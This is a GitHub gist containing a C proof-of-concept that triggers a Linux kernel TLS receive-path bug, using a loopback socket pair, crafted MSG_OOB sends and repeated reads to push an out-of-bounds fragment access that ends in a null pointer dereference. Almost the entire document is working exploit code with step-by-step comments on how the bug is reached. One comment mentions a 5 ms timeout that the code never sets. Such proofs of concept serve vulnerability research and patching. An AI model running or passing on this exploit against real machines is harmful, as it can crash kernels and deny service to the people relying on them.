Skip to content

Instantly share code, notes, and snippets.

@farazsth98
Last active October 1, 2025 18:20
Show Gist options
  • Save farazsth98/2c3d75a44a0d6bdf3df0d4756b940fc1 to your computer and use it in GitHub Desktop.
Save farazsth98/2c3d75a44a0d6bdf3df0d4756b940fc1 to your computer and use it in GitHub Desktop.
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/msg.h>
#include <sched.h>
#include <sys/wait.h>
#include <unistd.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/sendfile.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <err.h>
#include <linux/tls.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <pthread.h>
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})
#define PORT 4444
void setup_tls(int sock)
{
struct tls12_crypto_info_aes_ccm_128 crypto = {0};
crypto.info.version = TLS_1_2_VERSION;
crypto.info.cipher_type = TLS_CIPHER_AES_CCM_128;
// Reduce the socket receive buffer size to trigger memory pressure later
SYSCHK(setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &(int){0}, sizeof(int)));
// Enable TLS and set up the RX side
SYSCHK(setsockopt(sock, SOL_TCP, TCP_ULP, "tls", sizeof("tls")));
SYSCHK(setsockopt(sock, SOL_TLS, TLS_RX, &crypto, sizeof(crypto)));
}
pthread_barrier_t barrier;
struct sockaddr_in addr;
struct sockaddr_in spray_addr;
void *exploit_thread(void *dummy) {
int client = SYSCHK(socket(AF_INET, SOCK_STREAM, 0));
// Wait for the listener to be ready, then connect to it
pthread_barrier_wait(&barrier);
SYSCHK(connect(client, (struct sockaddr *)&addr, sizeof(addr)));
// Wait for the listener to set up TLS on the accepted connection.
pthread_barrier_wait(&barrier);
// 1 MB of garbage data
char garbage[1024 * 1024];
memset(garbage, 'A', sizeof(garbage));
// Send two bytes of a TLS header using `MSG_OOB`. It doesn't matter
// that it's garbage for this trigger.
//
// This send will `tls_strp_read_sock()` twice:
// 1. First time through `tcp_rcv_established() -> tcp_urg()`
// 2. Second time through `tcp_rcv_established() -> tcp_data_queue()`
//
// In both cases, `inq` in `tls_strp_read_sock()` will be set to 1, and
// `tls_rx_msg_size()` will just return 0 since the header is incomplete.
// `tls_strp_read_copy()` will also be called, but will just return 0 since
// there is no memory pressure yet.
//
// Now, why MSG_OOB and why 2 bytes?
//
// First, MSG_OOB actually prevents this SKB from coalescing with the next
// SKB (next one is where we send tons of garbage). The importance of this
// is explained below.
//
// Second, why 2 bytes? When the `MSG_OOB` flag is used, the socket's `urg`
// pointer is used to store the last byte. This means that when `tls_strp_read_sock()`
// is called, it will only ever see 1 byte (`inq == 1`). We want there to at least be
// 1 non-OOB byte in the TCP receive queue so that it can get processed with
// the next send. See below.
printf("s1\n");
send(client, garbage, 2, MSG_OOB);
// Now, we send tons of garbage. This will set `strp->sk->sk_backlog.rmem_alloc`
// to a really large number, much larger than the `strp->sk->sk_rcvbuf` size that
// we set with `setsockopt()` earlier.
//
// Now, when `tls_strp_read_sock()` is called here, it will actually process the
// SKB from our previous `send()` call. Why? Because this garbage SKB cannot
// be coalesced with the previous SKB, since `MSG_OOB` causes the sequence numbers
// to not match up due to the 2nd byte going into the socket's `urg` pointer.
//
// Since the previous send() call returned 0, signifying an incomplete header,
// `tls_strp_read_sock()` will start re-processing from the beginning.
//
// The difference now though, is that when `tls_strp_read_copy()` is called,
// memory pressure will exist due to the huge amount of garbage we're sending.
// This will cause `strp->copy_mode = 1` to be set, and `tls_strp_copyin()` to be
// called.
//
// However, since this time it's still processing the incomplete header, this means
// that `strp->stm.full_len` will still be 0, so it will use `TLS_MAX_PAYLOAD_SIZE + BYTES_PER_FRAG`
// to initialize 5 pages of fragments in the `frags` array of `strp->anchor`.
//
// Then, it will call `tls_strp_read_copyin()`, which will go to `tls_strp_copyin_frag()`.
// Since we aren still looking at an incomplete header, `tls_rx_msg_size()` will just
// return 0, and we continue to the next send.
//
// NOTABLY: `strp->copy_mode` will now be set to 1.
printf("s2\n");
send(client, garbage, 0x8000, 0);
//getchar();
// This one triggers `tls_strp_read_copyin()` directly from `tls_strp_read_sock()`
// now that `strp->copy_mode` has been set to 1 by the previous send. This time,
// `inq` will be 0x8000, because it processes the SKB sent in the previous send.
// No coalescing occurs again since we didn't use `MSG_OOB` before, but are
// using it now.
//
// Now, why was the first ever SKB discarded? Because when `tls_strp_read_copyin()`
// is called, it actually calls `tcp_read_sock()` with `tls_strp_copyin()` as a callback
// function. In `__tcp_read_sock()`, if the callback returns a value greater than 0,
// it will eat the SKB, removing it from the TCP receive queue.
//
// ================================
//
// This time, when `tls_strp_copyin_frag()` is inevitably called again, we're
// not looking at an incomplete header, but a malformed one (its full of garbage).
//
// This causes `tls_rx_msg_size()` to return an error, but `skb->len` will have
// already been incremented. Additionally, looking at `tls_strp_copyin()`, it will
// set `desc.error` to the error code, and return 0.
//
// Since 0 is returned, `__tcp_read_sock()` will NOT eat the SKB, so the previous
// 0x8000 sized garbage SKB will always be re-processed whenever `tls_strp_read_sock()` is
// triggered.
printf("s3\n");
send(client, garbage, 1, MSG_OOB);
pthread_barrier_wait(&barrier);
}
void exploit() {
char buf[4096];
int listener, conn, client;
setvbuf(stdout, 0, 2, 0);
// Initialize addr structure
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
listener = SYSCHK(socket(AF_INET, SOCK_STREAM, 0));
if (listener < 0)
{
perror("socket listener");
exit(1);
}
// Set process name to "TEST" for printk statements in the kernel
SYSCHK((prctl(PR_SET_NAME, "TEST")));
// Listening socket listens to 127.0.0.1:4444
SYSCHK(bind(listener, (struct sockaddr *)&addr, sizeof(addr)));
// Barrier for thread synchronization
pthread_barrier_init(&barrier, NULL, 2);
// Create `exploit_thread`
pthread_t tid;
pthread_create(&tid, NULL, exploit_thread, NULL);
printf("Thread created\n");
// Make listener listen and trigger barrier so `exploit_thread` can connect to it
SYSCHK(listen(listener, 10));
pthread_barrier_wait(&barrier);
// Accept `exploit_thread`'s connection
conn = SYSCHK(accept(listener, NULL, 0));
// Setup TLS for this connection
setup_tls(conn);
pthread_barrier_wait(&barrier);
// Sockets set up, wait for `exploit_thread` to send data before we recv
printf("TLS setup, Now waiting before recv\n");
pthread_barrier_wait(&barrier);
// Now that `exploit_thread` has set us up for the bug, we can start receiving.
//
// When we read from the socket, `tls_sw_recvmsg()` will be called, which
// then calls `tls_rx_rec_wait()`. This wait function will call `tls_strp_check_rcv()`,
// which calls into `tls_strp_read_sock()`.
//
// After this finishes, if `tls_strp_msg_ready()` isn't true, then the thread goes
// to sleep and waits either for a timeout, or a signal.
//
// Using `setsockopt()`, we set this timeout to 5ms already in the `setup_tls()` function.
//
// So the thread will get woken up after a while, and it will retry reading from the socket.
//
// However, since `tcp_read_sock()` will never eat the second SKB we sent, reprocessing
// will always trigger an error in `tls_rx_msg_size()`, which will constantly keep
// increasing `skb->len`.
//
// If we loop and repeat enough reads, at some point, `frags[5]` will be accessed.
// Then, when `skb_copy_bits()` tries to copy the skb data into the fragment, since
// `frags[5]` will be zero-initialized, it will cause a null pointer dereference.
//
// The bug will trigger on the 8th or 9th read. If you want, you can do 7 or 8 reads,
// then add a call to `getchar()` so a debugger can be attached to see what
// happens.
for (int i = 0; i < 40; i++) {
printf("%dth read\n", i);
recv(conn, buf, 0x100, MSG_DONTWAIT);
}
close(conn);
}
int main(int argc, char **argv)
{
exploit();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment